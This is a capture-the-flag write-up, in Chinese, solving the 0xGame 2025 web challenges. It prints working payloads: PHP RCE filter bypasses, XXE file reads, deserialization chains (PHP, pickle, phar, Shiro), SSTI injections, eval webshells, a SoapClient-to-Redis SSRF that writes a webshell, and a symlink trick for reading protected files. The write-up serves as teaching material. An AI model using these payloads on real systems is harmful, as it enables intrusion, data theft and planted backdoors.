0xGame2025-WEB-WP

WEEK1

Lemon

flag在源码中

image-20251001112208298

Http的真理,我已解明

image-20251001112301768

GET传hello=web

image-20251001112317247

POST传http=good
image-20251001112333868

cookie传Sean=god

image-20251001112409556

UA头设置Safari

image-20251001112427473

Referer设置为www.mihoyo.com

image-20251001112510456

设置请求头Viaclash

image-20251002142908740

RCE1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
highlight_file(__FILE__);
$rce1 = $_GET['rce1'];
$rce2 = $_POST['rce2'];
$real_code = $_POST['rce3'];

$pattern = '/(?:\d|[\$%&#@*]|system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings)/i';

function check(string $text): bool {
global $pattern;
return (bool) preg_match($pattern, $text);
}


if (isset($rce1) && isset($rce2)){
if(md5($rce1) === md5($rce2) && $rce1 !== $rce2){
if(!check($real_code)){
eval($real_code);
} else {
echo "Don't hack me ~";
}
} else {
echo "md5 do not match correctly";
}
}
else{
echo "Please provide both rce1 and rce2";
}
?>

md5比较可以数组绕过,然后执行命令函数可以选exec,没回显可以写文件,其他的可以\绕过

1
2
3
?rce1[]=1

rce2[]=2&rce3=exec('l\s />a.txt');

image-20251001113725898

image-20251001113731768

1
2
3
?rce1[]=1

rce2[]=2&rce3=exec('c\at /fl\ag />a.txt');

image-20251001113805354

留言板(粉)

先是登录界面,弱密码爆破出用户是admin,密码是admin123

image-20251001114134335

跳转到/xxxxmleee.php页面,有个留言板,是XXE漏洞

image-20251001114247205

image-20251001114357614

利用外部实体注入读文件,payload:

1
2
3
<?xml version="1.0"?>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///flag">]>
<x>&xxe;</x>

image-20251001115133180

留言板_reVenge

和上题一样的解法

Rubbish_Unser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
error_reporting(0);
highlight_file(__FILE__);

class ZZZ
{
public $yuzuha;
function __construct($yuzuha)
{
$this -> yuzuha = $yuzuha;
}
function __destruct()
{
echo "破绽,在这里!" . $this -> yuzuha;
}
}

class HSR
{
public $robin;
function __get($robin)
{
$castorice = $this -> robin;
eval($castorice);
}
}

class HI3rd
{
public $RaidenMei;
public $kiana;
public $guanxing;
function __invoke()
{
if($this -> kiana !== $this -> RaidenMei && md5($this -> kiana) === md5($this -> RaidenMei) && sha1($this -> kiana) === sha1($this -> RaidenMei))
return $this -> guanxing -> Elysia;
}
}

class GI
{
public $furina;
function __call($arg1, $arg2)
{
$Charlotte = $this -> furina;
return $Charlotte();
}
}

class Mi
{
public $game;
function __toString()
{
$game1 = @$this -> game -> tks();
return $game1;
}
}

if (isset($_GET['0xGame'])) {
$web = unserialize($_GET['0xGame']);
throw new Exception("Rubbish_Unser");
}
?>

可以利用HSR类中__get()魔术方法中的eval($castorice);进行RCE

HI3rd类中的__invoke()魔术方法中return $this -> guanxing -> Elysia;调用了不存在的属性,可以触发__get()魔术方法,其中要先满足MD5比较和sha1比较,数组绕过即可

GI类中的__call()魔术方法中return $Charlotte();Charlotte对象当作函数调用,可以触发__invoke()魔术方法

Mi类中的__toString魔术方法中$game1 = @$this -> game -> tks();以调用不存在的函数tks,可以触发__call()魔术方法

ZZZ类中的__destruct()echo "破绽,在这里!" . $this -> yuzuha;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

class ZZZ{
public $yuzuha;
}

class HSR{
public $robin;
}

class HI3rd{
public $RaidenMei;
public $kiana;
public $guanxing;
}

class GI{
public $furina;
}

class Mi
{
public $game;
}



$a = new ZZZ(new Mi());
$a->yuzuha->game = new GI();
$a->yuzuha->game->furina = new HI3rd();
$a->yuzuha->game->furina->kiana = 0;
$a->yuzuha->game->furina->RaidenMei = '0';
$a->yuzuha->game->furina->guanxing = new HSR();
$a->yuzuha->game->furina->guanxing->robin = "system('ls');";

$b = array($a,0);
$ser = serialize($b);
echo $ser;
$c = str_replace('i:1','i:0',$ser);
echo $c;

?>

Lemon_RevEnge

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flask import Flask,request,render_template
import json
import os

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Dst():
def __init__(self):
pass

Game0x = Dst()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), Game0x)
return render_template("index.html", Game0x=Game0x)

@app.route("/<path:path>")
def render_page(path):
if not os.path.exists("templates/" + path):
return "Not Found", 404
return render_template(path)


a = ""

if __name__ == '__main__':
app.run(host='0.0.0.0', port=9000)

很明显下面代码存在原型链污染

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
1
2
3
4
5
@app.route("/<path:path>")
def render_page(path):
if not os.path.exists("templates/" + path):
return "Not Found", 404
return render_template(path)

可以污染os.path下的常量pardir来实现目录遍历

1
{ "__init__":{"__globals__":{"os":{"path":{"pardir":"."}}}}}

image-20251031174620732

image-20251031174650266

WEEK2

你好,爪洼脚本

直接控制台运行

image-20251010185051141

1
0xGame{Hello,JavaScript}

DNS想要玩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from flask import Flask, request
from urllib.parse import urlparse
import socket
import os

app = Flask(__name__)

BlackList = [
'localhost',
'@',
'172',
'gopher',
'file',
'dict',
'tcp',
'0.0.0.0',
'114.5.1.4'
]


def check(url):
url = urlparse(url)
host = url.hostname
host_acscii = host.encode('idna').decode('utf-8')
return socket.gethostbyname(host_acscii) == '114.5.1.4'


@app.route('/')
def index():
return open(__file__).read()


@app.route('/ssrf')
def ssrf():
raw_url = request.args.get('url')
if not raw_url:
return 'URL Needed'
for u in BlackList:
if u in raw_url:
return 'Invaild URL'
if check(raw_url):
return os.popen(request.args.get('cmd')).read()
else:
return "NONONO"


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

要满足访问的是114.5.1.4,但是在黑名单中过滤了,就利用DNS重绑定

网站:https://lock.cmpxchg8b.com/rebinder.html

image-20251031175738876

只要修改前一个A即可

1
/ssrf?url=http://72050104.c0a80001.rbndr.us&cmd=cat /flag

image-20251031175801166

马哈鱼商店

先随便注册个账号登录

image-20251010230722483

这里买FLAG得到的是错误的,是要买最后的Pickle,抓包得到修改参数

原始包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /buy HTTP/1.1
Host: 9000-18361396-ce60-4ec0-abe6-a1c2e14a9514.challenge.ctfplus.cn
Content-Length: 16
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://9000-18361396-ce60-4ec0-abe6-a1c2e14a9514.challenge.ctfplus.cn
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://9000-18361396-ce60-4ec0-abe6-a1c2e14a9514.challenge.ctfplus.cn/vamos
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJ1c2VyIjoiMSJ9.aOkhhA.Z62lT759RIS8T96MOTOH-6FrJIA
Connection: keep-alive

pid=8&discount=1

发现有个discount参数,是打折扣的,可以任意修改使我买得起Pickle

image-20251010231022531

image-20251010231214988

Here/pickle_dsa,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
BlackList = [b'', b'']      
@app.route('/pickle_dsa')
def pic():
data = request.args.get('data')
if not data:
return "Use GET To Send Your Loved Data"
try:
data = base64.b64decode(data)
except Exception:
return "Cao!!!"
for b in BlackList:
if b in data:
return "卡了"
p = pickle.loads(data)
print(p)
return f"<p>Vamos! {p}<p>

是pickle反序列化,过滤了\x00\x1e,有一层base64编码,利用subprocess.check_output执行命令得到输出

1
2
3
4
5
6
7
8
9
10
import pickle
import base64
import subprocess

class Exploit:
def __reduce__(self):
return (subprocess.check_output,(['env'],))

payload = pickle.dumps(Exploit(),protocol=0)
print(base64.b64encode(payload).decode())
1
Y2NvbW1hbmRzCmNoZWNrX291dHB1dApwMAooKGxwMQpWZW52CnAyCmF0cDMKUnA0Ci4=

image-20251011001439888

404NotFound

是SSTI

image-20251011001405169

过滤了.requestglobalsosimport

1
{{lipsum['__glo''bals__']['o''s']['pop''en']('cat /flag')['read']()}}

image-20251011005334740

我只想要你的PNG!

看源码发现check.php文件

image-20251031180909019

访问可以看到根目录下的文件

image-20251031180926583

并且发现上传的文件会显示在这里

image-20251031181102044

image-20251031181130860

文件名会显示到这里,尝试在文件名处写一句话木马,让check.php成为后门

image-20251031181255459

1
<?php eval($_POST['shell']);?>a.png

可以成功连接上

image-20251031181314770

image-20251031181354153

Plus_plus

注释有提示参数

image-20251031193401798

输入得到完整源码

image-20251031193428170

利用自增绕过

1
2
3
?0xGame=1&1=system&2=cat /f14gggg

web=$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

image-20251031193531643

这真的是反序列化

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
highlight_file(__FILE__);
error_reporting(0);

//hint: Redis20251206

class pure{
public $web;
public $misc;
public $crypto;
public $pwn;

public function __construct($web, $misc, $crypto, $pwn){
$this->web = $web;
$this->misc = $misc;
$this->crypto = $crypto;
$this->pwn = $pwn;
}

public function reverse(){
$this->pwn = new $this->web($this->misc, $this->crypto);
}

public function osint(){
$this->pwn->play_0xGame();
}

public function __destruct(){
$this->reverse();
$this->osint();
}
}

$AI = $_GET['ai'];

$ctf = unserialize($AI);

?>

osint方法中$this->pwn->play_0xGame();调用了不存在的方法,这里用原生类SoapClient,可以触发类里的__call()方法,然后有注释提示Redis20251206,所以是要用SoapClientSSRF打Redis,Redis密码就是20251206

https://blog.csdn.net/qq_42181428/article/details/100569464

https://xz.aliyun.com/news/2640

https://www.php.net/manual/en/class.soapclient.php

利用SoapClientCRLF注入漏洞, 在URI参数中注入\r\n实现HTTP头部注入

官方WP脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class pure
{
public $web;
public $misc;
public $crypto;
public $pwn;
}
$a = new pure();
$a->web = 'SoapClient';
// SoapClient的第一个参数(wsdl)
$a->misc = null;
// Redis服务地址
$target = 'http://127.0.0.1:6379/';
// Redis攻击命令
$poc = "AUTH 20251206\r\nCONFIG SET dir /var/www/html/\r\nCONFIG SET dbfilename shell.php\r\nSET x '<?= @eval(\$_POST[1]) ?>'\r\nSAVE";
// SoapClient的options参数
$a->crypto = array('location' => $target, 'uri' => "hello\"\r\n" . $poc . "\r\nhello");
echo urlencode(serialize($a));

Redis攻击命令:

  • AUTH 20251206:Redis认证,登录的密码
  • CONFIG SET dir /var/www/html/:设置数据存储目录为web根目录
  • CONFIG SET dbfilename shell.php:设置数据库文件名为shell.php
  • SET x '<?= @eval($_POST[1]) ?>':写入PHP webshell
  • SAVE:保存到文件

然后蚁剑连接看环境变量

1
http://80-8072a66f-c9d3-49b3-bc4e-3713433fe163.challenge.ctfplus.cn/shell.php

image-20251112230226605

image-20251112230243585

WEEK3

这真的是文件上传

App.js源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
//original-author: gtg2619
//adapt: P
const express = require('express');
const ejs = require('ejs');
const fs = require('fs');
const path = require('path');

const app = express();
app.set('view engine', 'ejs');
app.use(express.json({
limit: '114514mb'
}));

const STATIC_DIR = __dirname;

function serveIndex(req, res) {
// Useless Check , So It's Easier

var whilePath = ['index'];
var templ = req.query.templ || 'index';

if (!whilePath.includes(templ)){
return res.status(403).send('Denied Templ');
}

var lsPath = path.join(__dirname, req.path);

try {
res.render(templ, {
filenames: fs.readdirSync(lsPath),
path: req.path
});
} catch (e) {
res.status(500).send('Error');
}
}

app.use((req, res, next) => {
if (typeof req.path !== 'string' ||
(typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined' && typeof req.query.templ !== null)
) res.status(500).send('Error');
else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
else next();
})

app.use((req, res, next) => {
if (req.path.endsWith('/')) serveIndex(req, res);
else next();
})

app.put('/*', (req, res) => {
// Why Filepath Not Check ?
const filePath = path.join(STATIC_DIR, req.path);

fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
if (err) {
return res.status(500).send('Error');
}
res.status(201).send('Success');
});
});

app.listen(80, () => {
console.log(`running on port 80`);
});

可以看到只能渲染index.ejs文件,但是拒绝.js或者..的结尾,还有个文件上传的地方,就是使用PUT请求方法,传入的参数名是content,使用JSON的格式,并且值是进行base64编码的

这里就是打ejs模板注入,利用可以传文件的功能把执行命令的代码写入index.ejs中,对结尾有过滤可以用index.ejs/.绕过,根据下载的附件可知渲染的路径就是/views/index.ejs/.

1
<%= process.mainModule.require('child_process').execSync('env')%>

image-20251105191655021

1
PCU9IHByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ2VudicpJT4=

image-20251105192038793

成功后直接浏览器刷新一下就可以看到命令执行后的结果了

1
0xGame{Do_Not_Templ_Ejs_Injection}

New_Python!

随便注册个账号登录进去,可以下载一个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from Crypto.Util.number import getPrime, bytes_to_long
from gmpy2 import invert
import random
import uuid

# 通过RSA得到UUID8的a
# 再通过其他方式获取到b和c
# 利用UUID8生成Admin密码

msg= b''
BITS = 1024
e = 65537

p = getPrime(BITS//2)
q = getPrime(BITS//2)
n = p * q

phi = (p - 1) * (q - 1)
d = int(invert(e, phi))

key = bytes_to_long(msg)

c = pow(key, e, n)

dp = d % (p - 1)

#print("n = ", n)
#print("e = ", e)
#print("c = ", c)
#print("dp = ", dp)

key = "" #{}内的
key = key.encode()
key = int.from_bytes(key, 'big')
pa = uuid.uuid8(a=key)

#n = 70344167219256641077015681726175134324347409741986009928113598100362695146547483021742911911881332309275659863078832761045042823636229782816039860868563175749260312507232007275946916555010462274785038287453018987580884428552114829140882189696169602312709864197412361513311118276271612877327121417747032321669
#e = 65537
#c = 46438476995877817061860549084792516229286132953841383864271033400374396017718505278667756258503428019889368513314109836605031422649754190773470318412332047150470875693763518916764328434140082530139401124926799409477932108170076168944637643580876877676651255205279556301210161528733538087258784874540235939719
#dp = 7212869844215564350030576693954276239751974697740662343345514791420899401108360910803206021737482916742149428589628162245619106768944096550185450070752523

这里要做个RSA密码题得到a的值,然后去找b和c的值,用这三个值生成的UUID8的值就是admin的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import long_to_bytes
import gmpy2

n = 70344167219256641077015681726175134324347409741986009928113598100362695146547483021742911911881332309275659863078832761045042823636229782816039860868563175749260312507232007275946916555010462274785038287453018987580884428552114829140882189696169602312709864197412361513311118276271612877327121417747032321669
e = 65537
c = 46438476995877817061860549084792516229286132953841383864271033400374396017718505278667756258503428019889368513314109836605031422649754190773470318412332047150470875693763518916764328434140082530139401124926799409477932108170076168944637643580876877676651255205279556301210161528733538087258784874540235939719
dp = 7212869844215564350030576693954276239751974697740662343345514791420899401108360910803206021737482916742149428589628162245619106768944096550185450070752523

edp = e * dp - 1

# 遍历k以分解n
for k in range(1, e):
if edp % k == 0:
p = edp // k + 1
if n % p == 0:
q = n // p
break
else:
print("未找到分解")
exit(1)

# 计算私钥并解密
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
key = long_to_bytes(m)

print(key.decode())

运行得到结果:

1
key{rsaisfunbutisitweborcrypto}

所以a的值就是

1
a=rsaisfunbutisitweborcrypto

响应头中可以得到b的值

image-20251105193231959

1
b=120604030108

扫目录可以扫到/auth,可以得到c的值

image-20251105204507341

image-20251105204652840

1
c=7430469441

最后看一下UUID8的源码,是python版本3.14以上才有的

image-20251105205437910

就是传入的三个值嘛

1
2
3
4
5
6
7
8
9
import uuid

key = "rsaisfunbutisitweborcrypto"
a = key.encode()
a = int.from_bytes(a, 'big')
b = 120604030108
c = 7430469441

print(uuid.uuid8(a=a,b=b,c=c))
1
63727970-746f-849c-8000-0001bae3f741

这就是admin的密码,成功登录

image-20251105210156340

直接env查看环境变量

image-20251105210233944

1
0xGame{Only_Python14&15_UUID8}

消栈逃出沙箱(1)反正不会有2

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from flask import Flask, request, Response
import sys
import io

app = Flask(__name__)

blackchar = "&*^%#${}@!~`·/<>"

def safe_sandbox_Exec(code):
whitelist = {
"print": print,
"list": list,
"len": len,
"Exception": Exception
}

safe_globals = {"__builtins__": whitelist}

original_stdout = sys.stdout
original_stderr = sys.stderr

sys.stdout = io.StringIO()
sys.stderr = io.StringIO()

try:
exec(code, safe_globals)
output = sys.stdout.getvalue()
error = sys.stderr.getvalue()
return output or error or "No output"
except Exception as e:
return f"Error: {e}"
finally:
sys.stdout = original_stdout
sys.stderr = original_stderr

@app.route('/')
def index():
return open(__file__).read()


@app.route('/check', methods=['POST'])
def check():
data = request.form['data']
if not data:
return Response("NO data", status=400)
for d in blackchar:
if d in data:
return Response("NONONO", status=400)
secret = safe_sandbox_Exec(data)
return Response(secret, status=200)

if __name__ == '__main__':
app.run(host='0.0.0.0',port=9000)

黑名单禁用了 &*^%#${}@!~`·/<> 这些,白名单只允许使用print、list、len、Exception这四个内置函数,只能在受限的环境中执行代码

有个/check路由接收 POST 参数data可以在这个沙箱中执行传入的代码

image-20251105211035139

这题就是沙箱逃逸,可以通过__class__这样的属性链获取到执行命令的函数

1
data=print(list.__class__.__base__.__subclasses__()[155].__init__.__globals__['popen']('env').read())

image-20251105211543908

1
0xGame{StackFrame_Wanna_Escape_Now}

长夜月

随便注册一个账号登录,发现只能管理员

image-20251105215523531

然后看Cookie,有JWT鉴权,伪造一下,把username伪造成admin

image-20251105215736691

带着伪造的token去登录就可以了

image-20251105215825063

有个提交的地方,抓包看一下

image-20251105215905230

看源码,要满足日期小于2025-08-03就可以得到flag了

image-20251105220154501

这就是打JS原型链污染,用__proto__污染掉原型的min_public_time这个属性的值

1
2
3
4
5
{
"__proto__":{
"min_public_time":"2025-08-02"
}
}

image-20251105220422811

文件查询器(蓝)

image-20251105220706725

有读文件的功能,直接读环境变量文件了/proc/self/environ,可以得到base64编码的内容

image-20251105221233205

image-20251105221404571

1
0xGame{Y0u_Are_Rea11y_a_Ph4r_G0d!}

这应该是非预期了

下面是预期解,读源码index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
class MaHaYu{
public $HG2;
public $ToT;
public $FM2tM;
public function __construct()
{
$this -> ZombiegalKawaii();
}

public function ZombiegalKawaii()
{
$HG2 = $this -> HG2;
if(preg_match("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i",$HG2))
{
die("这这这你也该绕过去了吧");
}
else{
$this -> ToT = "这其实是来占位的";

}
}

public function __destruct()
{
$HG2 = $this -> HG2;
$FM2tM = $this -> FM2tM;
echo "Wow";
var_dump($HG2($FM2tM));
}
}

$file=$_POST['file'];
if(isset($_POST['file']))
{
if (preg_match("/'[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i", $file))
{
die("对方撤回了一个请求,并企图萌混过关");
}
echo base64_encode(file_get_contents($file));
}

MaHaYu类中过滤了很多执行命令的函数,但是shell_exec可以用,读文件的地方有phar伪协议可以用,这就是打Phar反序列化

看有传文件的功能,可以读upload.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);
$White_List = array("jpg", "png", "pdf");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $White_List)))
{
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer")
{
die("你猜我想让你干什么喵");
}
else
{
if (file_exists("./upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " Already exists. ";
}
else
{
$file = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($file, $content);
fclose($file);
echo "Success ./upload/".$_FILES["file"]["name"];
}
}
}
else
{
echo "请重新尝试喵";
}
?>

这里会检查文件内容和后缀名,可以用gzip压缩后改后缀名为.png绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class MaHaYu{
public $HG2 = "shell_exec";
public $ToT = "123";
public $FM2tM = "env";
}
$a = new MaHaYu();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a); //自定义的meta-data
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

gzip压缩

image-20251106130753482

改后缀名

image-20251106130901873

上传文件

image-20251106130738107

用phar伪协议读上传的文件

1
phar://upload/phar.png

image-20251106130829587

1
0xGame{Y0u_Are_Rea11y_a_Ph4r_G0d!}

放开我的变量

打开是个博客,在robots.txt中可以得到/asdback.php

image-20251106190236646

打开是个可以直接连蚁剑的

image-20251106190313612

image-20251106190346463

根目录有flag文件,但是没权限读,要提权

image-20251106190435134

查看系统进程

1
ps aux

image-20251106190601988

看到start.sh,读一下

image-20251106190637646

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/marstream/
chmod 755 -R /var/www/html/marstream/
sleep 5s

done &

exec apache2-foreground

就是每五秒将/var/www/html/primary目录下的所有内容复制到/var/www/html/marstream/目录下,并且给了这个目录755权限可读可执行

https://infernity.top/2025/02/12/N1CTF2025/#backup

这里就想到使用软链接,但是下面这个命令使用的-P这个选项使符号链接不会被解引用

1
cp -P * /var/www/html/marstream/

可以用-H参数来覆盖-P参数

cp -H 会让 cp 命令在遇到符号链接时,按照符号链接指向的目标文件进行复制,而不是直接复制符号链接本身。

创建一个-H的文件,这样在执行命令的时候命令就是:

1
cp -P -H /var/www/html/marstream/

这就可以正常利用软链接了,创建-H文件夹:

1
echo "" > -H

或者是:

1
touch -- -H

--的作用是不解析后面的参数

然后在/var/www/html/primary目录下创建软链接

1
ln -s /flag f

最后在/var/www/html/marstream目录下可以读f从而读到flag的内容

1
cat /var/www/html/marstream/f

完整的命令:

1
2
3
4
cd /var/www/html/primary
echo "" > -H
ln -s /flag f
cat /var/www/html/marstream/f

image-20251106192101810

WEEK4

SpringShiro

jd-gui打开附件jar包,可以找到管理员密码

image-20251106201503396

存在heapdump泄露,登录后访问/actuator/heapdump可下载到heapdump文件

image-20251106203458996

利用JDumpSpider-master工具对文件分析

https://github.com/whwlsfb/JDumpSpider

1
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

可以得到Shirokey

1
SdTQNlmlZY1LZa8g2OJHmg==

image-20251106210802910

借助Shiro反序列化工具进行RCE

image-20251106205820683

image-20251106205837653

写入内存马

image-20251106212552035

蚁剑连接

image-20251106212717427

根目录终端执行readflag

image-20251106212743722

绳网委托Bottle版

看了WP才知道这题是Bottle框架的SSTI,过滤了尖括号

image-20251106215525730

看开发者文档:https://osgeo.cn/bottle/stpl.html

image-20251106215610022

1
2
3
4
5
<div>
% if True:
<span>content</span>
% end
</div>

这里利用空白控制打SSTI,使攻击代码在渲染后的HTML中不可见

可以利用 Bottle 框架的abort()函数会显出SSTI的结果,如:

1
2
from bottle import abort
abort(404, ''.__class__)

image-20251106220430561

1
__import__('bottle').abort(404,__import__('os').popen('whoami').read())

image-20251106221657433

1
2
3
4
5
<div>
% if __import__('bottle').abort(404,__import__('os').popen('cat /flag').read()):
<span>content</span>
%end
</div>

image-20251112213655090

1
0xGame{Bottle_is_an_Amazing_Framework!}

0xGame2025-WEB-WP
https://yschen20.github.io/2025/11/12/0xGame2025-WEB-WP/
作者
Suzen
发布于
2025年11月12日
更新于
2025年12月19日
许可协议